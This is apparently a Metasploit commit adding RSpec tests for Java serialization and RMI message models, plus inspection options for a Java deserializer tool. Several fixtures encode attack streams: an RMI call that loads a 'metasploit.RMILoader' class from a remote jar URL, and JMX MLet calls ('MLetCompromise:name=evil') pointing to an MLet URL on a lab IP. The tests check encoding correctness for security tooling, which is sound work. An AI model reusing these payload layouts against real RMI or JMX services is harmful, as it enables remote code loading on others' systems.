"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
"\x2c\x69\x64\x3d\x31\x78\x70"
end
let(:marshalled_argument) do
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
end
describe ".new" do
it "Rex::Java::Serialization::Model::Stream" do
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
@ -259,6 +293,136 @@ describe Rex::Java::Serialization::Model::Stream do
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
end
end
context "when serializing a Java RMI call" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
expect(stream.encode).to eq(rmi_call)
end
end
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
block_data.length = block_data.contents.length
stream.contents << block_data
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
new_class_desc.serial_version = 0xf03a71beb6d15cf
new_class_desc.flags = 3
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
expect(stream.encode).to eq(mbean_call)
end
end
context "when serializing a marshalled argument" do
it "serializes the stream correctly" do
stream = Rex::Java::Serialization::Model::Stream.new
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
new_array_class_desc.serial_version = 0x90ce589f1073296c
new_array_class_desc.flags = 2
new_array_class_desc.fields = []
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_array_class_desc
new_array.type = 'java.lang.Object;'
new_array.values = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
]
stream.contents << new_array
expect(stream.encode).to eq(marshalled_argument)
end
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
require 'rex/java'
describe Rex::Proto::Rmi::Model::Call do
subject(:call) do
described_class.new
end
let(:call_message) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" +
"\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" +
"\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" +
"\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" +
"\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" +
"\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" +
"\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" +
"\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" +
"\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" +
"\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" +
"\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" +
"\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" +
"\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" +
"\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" +
"\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" +
"\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" +
"\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" +
"\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" +
"\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" +
"\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" +
"\x62\xc1\xc0"
end
let(:call_message_io) { StringIO.new(call_message) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::Call decoded" do
expect(call.decode(call_message_io)).to eq(call)
end
it "decodes message id correctly" do
call.decode(call_message_io)
expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE)
end
it "decodes the call data correctly" do
call.decode(call_message_io)
expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream)
end
end
describe "#encode" do
it "re-encodes a Call message correctly" do
call.decode(call_message_io)
expect(call.encode).to eq(call_message)
end
end
end

View File

@ -0,0 +1,50 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::Continuation do
subject(:continuation) do
described_class.new
end
let(:sample) do
"\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" +
"\x00\x00\x00\x00"
end
let(:sample_io) { StringIO.new(sample) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do
expect(continuation.decode(sample_io)).to eq(continuation)
end
it "decodes length correctly" do
continuation.decode(sample_io)
expect(continuation.length).to eq(14)
end
it "decodes address correctly" do
continuation.decode(sample_io)
expect(continuation.address).to eq('172.16.158.132')
end
it "decodes port correctly" do
continuation.decode(sample_io)
expect(continuation.port).to eq(0)
end
end
describe "#encode" do
it "encodes the Continuation correctly" do
continuation.address = '172.16.158.132'
continuation.length = continuation.address.length
continuation.port = 0
expect(continuation.encode).to eq(sample)
end
end
end

View File

@ -0,0 +1,43 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::DgcAck do
subject(:dgc_ack) do
described_class.new
end
let(:sample) do
"\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17"
end
let(:sample_io) { StringIO.new(sample) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do
expect(dgc_ack.decode(sample_io)).to eq(dgc_ack)
end
it "decodes stream_id correctly" do
dgc_ack.decode(sample_io)
expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE)
end
it "decodes address correctly" do
dgc_ack.decode(sample_io)
expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17")
end
end
describe "#encode" do
it "encodes the DbgAck correctly" do
dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17"
expect(dgc_ack.encode).to eq(sample)
end
end
end

View File

@ -0,0 +1,62 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::OutputHeader do
subject(:output_header) do
described_class.new
end
let(:stream_protocol) do
"\x4a\x52\x4d\x49\x00\x02\x4b"
end
let(:stream_protocol_io) { StringIO.new(stream_protocol) }
describe "#decode" do
context "when Stream Protocol" do
it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do
expect(output_header.decode(stream_protocol_io)).to eq(output_header)
end
it "decodes signature correctly" do
output_header.decode(stream_protocol_io)
expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE)
end
it "decodes version correctly" do
output_header.decode(stream_protocol_io)
expect(output_header.version).to eq(2)
end
it "decodes protocol correctly" do
output_header.decode(stream_protocol_io)
expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL)
end
end
end
describe "#encode" do
context "when Stream Protocol" do
it "encodes the OutputHeader correctly" do
output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE
output_header.version = 2
output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL
expect(output_header.encode).to eq(stream_protocol)
end
end
context "when version field missed" do
it "doesn't encodes the version" do
output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE
output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL
expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b")
end
end
end
end

View File

@ -0,0 +1,37 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::PingAck do
subject(:ping_ack) do
described_class.new
end
let(:sample) do
"\x53"
end
let(:sample_io) { StringIO.new(sample) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do
expect(ping_ack.decode(sample_io)).to eq(ping_ack)
end
it "decodes stream_id correctly" do
ping_ack.decode(sample_io)
expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK)
end
end
describe "#encode" do
it "encodes the PingAck correctly" do
ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK
expect(ping_ack.encode).to eq(sample)
end
end
end

View File

@ -0,0 +1,36 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::Ping do
subject(:ping) do
described_class.new
end
let(:sample) do
"\x52"
end
let(:sample_io) { StringIO.new(sample) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::Ping decoded" do
expect(ping.decode(sample_io)).to eq(ping)
end
it "decodes stream_id correctly" do
ping.decode(sample_io)
expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE)
end
end
describe "#encode" do
it "encodes the Ping correctly" do
ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE
expect(ping.encode).to eq(sample)
end
end
end

View File

@ -0,0 +1,56 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
describe Rex::Proto::Rmi::Model::ProtocolAck do
subject(:protocol_ack) do
described_class.new
end
let(:sample) do
"\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" +
"\x32\x00\x00\x06\xea"
end
let(:sample_io) { StringIO.new(sample) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do
expect(protocol_ack.decode(sample_io)).to eq(protocol_ack)
end
it "decodes stream_id correctly" do
protocol_ack.decode(sample_io)
expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK)
end
it "decodes length correctly" do
protocol_ack.decode(sample_io)
expect(protocol_ack.length).to eq(14)
end
it "decodes address correctly" do
protocol_ack.decode(sample_io)
expect(protocol_ack.address).to eq('172.16.158.132')
end
it "decodes port correctly" do
protocol_ack.decode(sample_io)
expect(protocol_ack.port).to eq(1770)
end
end
describe "#encode" do
it "encodes the OutputHeader correctly" do
protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK
protocol_ack.address = '172.16.158.132'
protocol_ack.length = protocol_ack.address.length
protocol_ack.port = 1770
expect(protocol_ack.encode).to eq(sample)
end
end
end

View File

@ -0,0 +1,59 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
require 'rex/java'
describe Rex::Proto::Rmi::Model::ReturnData do
subject(:return_data) do
described_class.new
end
let(:return_stream) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
end
let(:return_stream_io) { StringIO.new(return_stream) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do
expect(return_data.decode(return_stream_io)).to eq(return_data)
end
it "decodes message id correctly" do
return_data.decode(return_stream_io)
expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA)
end
it "decodes the return data correctly" do
return_data.decode(return_stream_io)
expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream)
end
end
describe "#encode" do
it "re-encodes a ReturnData stream correctly" do
return_data.decode(return_stream_io)
expect(return_data.encode).to eq(return_stream)
end
end
end

View File

@ -47,14 +47,32 @@ describe JavaDeserializer do
end
context "when file contains a valid stream" do
it "prints the stream contents" do
expect(File).to receive(:new) do
contents = valid_stream
StringIO.new(contents)
before(:each) do
$stdout.string = ''
end
context "when no options" do
it "prints the stream contents" do
expect(File).to receive(:new) do
contents = valid_stream
StringIO.new(contents)
end
deserializer.file = 'sample'
deserializer.run
expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }')
end
end
context "when :array in options" do
it "prints the array contents" do
expect(File).to receive(:new) do
contents = valid_stream
StringIO.new(contents)
end
deserializer.file = 'sample'
deserializer.run({:array => '0'})
expect($stdout.string).to include('Array Type: char')
end
deserializer.file = 'sample'
deserializer.run
expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }')
end
end
@ -69,6 +87,5 @@ describe JavaDeserializer do
expect($stdout.string).to include('[-] Failed to unserialize Stream')
end
end
end
end

View File

@ -13,6 +13,7 @@ end
$:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib')))
require 'rex/java/serialization'
require 'pp'
require 'optparse'
# This class allows to deserialize Java Streams from
# files
@ -31,7 +32,7 @@ class JavaDeserializer
#
# @return [Rex::Java::Serialization::Model::Stream] if succeeds
# @return [nil] if error
def run
def run(options = {})
if file.nil?
print_error("file path with serialized java stream required")
return
@ -49,7 +50,13 @@ class JavaDeserializer
return
end
puts stream
if options[:array]
print_array(stream.contents[options[:array].to_i])
elsif options[:object]
print_object(stream.contents[options[:object].to_i])
else
puts stream
end
end
private
@ -75,9 +82,87 @@ class JavaDeserializer
def print_line
$stdout.puts("\n")
end
# @param [Rex::Java::Serialization::Model::NewObject] obj the object to print
# @param [Fixnum] level the indentation level when printing super classes
def print_object(obj, level = 0)
prefix = " " * level
if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc
puts "#{prefix}Object Class Description:"
print_class(obj.class_desc.description, level + 1)
else
puts "#{prefix}Object Class Description: #{obj.class_desc.description}"
end
puts "#{prefix}Object Data: #{obj.class_data}"
end
# @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print
# @param [Fixnum] level the indentation level when printing super classes
def print_class(c, level = 0)
prefix = " " * level
puts "#{prefix}Class Name: #{c.class_name}"
puts "#{prefix}Serial Version: #{c.serial_version}"
puts "#{prefix}Flags: #{c.flags}"
puts "#{prefix}Fields ##{c.fields.length}"
c.fields.each do |f|
puts "#{prefix}Field: #{f}"
end
puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}"
c.class_annotation.contents.each do |c|
puts "#{prefix}Annotation: #{c}"
end
puts "#{prefix}Super Class: #{c.super_class}"
if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc
print_class(c.super_class.description, level + 1)
end
end
# @param [Rex::Java::Serialization::Model::NewArray] arr the array to print
# @param [Fixnum] level the indentation level when printing super classes
def print_array(arr, level = 0)
prefix = " " * level
if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc
puts "#{prefix}Array Description"
print_class(arr.array_description.description, 1)
else
puts "#{prefix}Array Description: #{arr.array_description.description}"
end
puts "#{prefix}Array Type: #{arr.type}"
puts "#{prefix}Array Values ##{arr.values.length}"
arr.values.each do |v|
puts "Array value: #{prefix}#{v} (#{v.class})"
if v.class == Rex::Java::Serialization::Model::NewObject
print_object(v, level + 1)
end
end
end
end
if __FILE__ == $PROGRAM_NAME
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: java_deserializer.rb <file> [option]"
opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id|
options[:array] = id
end
opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id|
options[:object] = id
end
opts.on("-h", "--help", "Prints this help") do
puts opts
exit
end
end.parse!
if options.length > 1
$stdout.puts "[-] Don't provide more than one option"
exit
end
deserializer = JavaDeserializer.new(ARGV[0])
deserializer.run
deserializer.run(options)
end